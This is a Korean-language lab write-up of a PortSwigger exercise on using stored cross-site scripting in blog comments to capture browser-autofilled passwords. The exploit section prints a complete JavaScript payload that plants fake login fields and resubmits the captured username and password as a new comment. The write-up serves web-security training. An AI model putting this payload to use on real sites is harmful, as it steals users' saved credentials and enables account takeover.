[Write-Up] PortSwigger - Exploiting Cross-Site Scripting to Capture Passwords
목차
문제 분석
난이도:
PRACTITIONER
Lab: Exploiting cross-site scripting to capture passwords
블로그 댓글 기능에 Stored XSS가 존재하며 시뮬레이션 피해자는 새 댓글을 확인한다. 브라우저가 자동 완성한 사용자명과 비밀번호를 획득한 뒤 피해자 계정으로 로그인하면 문제가 해결된다.
XSS 진단
댓글 본문에서 <script>와 임의의 폼 요소를 삽입할 수 있다. 브라우저 또는 비밀번호 관리자는 username, password처럼 로그인 필드로 인식되는 이름을 가진 입력 요소에 저장된 자격 증명을 자동으로 채울 수 있다.
<input name="username" id="username">
<input type="password" name="password" id="password">
따라서 삽입한 password 필드의 값이 채워지는 시점을 감지해 외부 채널로 전송하면 자격 증명을 획득할 수 있다. 여기서는 Burp Collaborator 대신 댓글 작성 기능을 유출 채널로 사용한다.
익스플로잇
다음 페이로드를 댓글에 저장한다.
<input name="username" id="username">
<input type="password" name="password" id="password">
<script>
document.addEventListener('DOMContentLoaded', () => {
const username = document.querySelector('#username');
const password = document.querySelector('#password');
password.addEventListener('change', () => {
const form = document.querySelector('form[action="/post/comment"]');
form.elements.comment.value = username.value + '/' + password.value;
form.elements.name.value = 'victim';
form.elements.email.value = 'xss@example.com';
form.elements.website.value = 'http://example.com';
form.submit();
});
});
</script>
피해자의 브라우저가 입력 필드에 자격 증명을 채우면 password의 change 이벤트가 발생한다. 이벤트 핸들러는 값을 댓글 본문에 넣어 자동으로 제출한다.

새로 작성된 댓글에서 획득한 사용자명과 비밀번호로 로그인하면 문제가 해결된다.

정리
세션 쿠키에 HttpOnly가 적용되어도 XSS의 위험이 사라지는 것은 아니다. 공격자는 로그인 폼처럼 보이는 요소를 DOM에 만들고 자동 완성 또는 피싱을 통해 자격 증명을 노릴 수 있다. 패스워드 매니저의 동작 조건에 의존한다는 제한은 있지만, 탈취된 비밀번호가 재사용된 경우 영향 범위는 현재 세션보다 커질 수 있다.
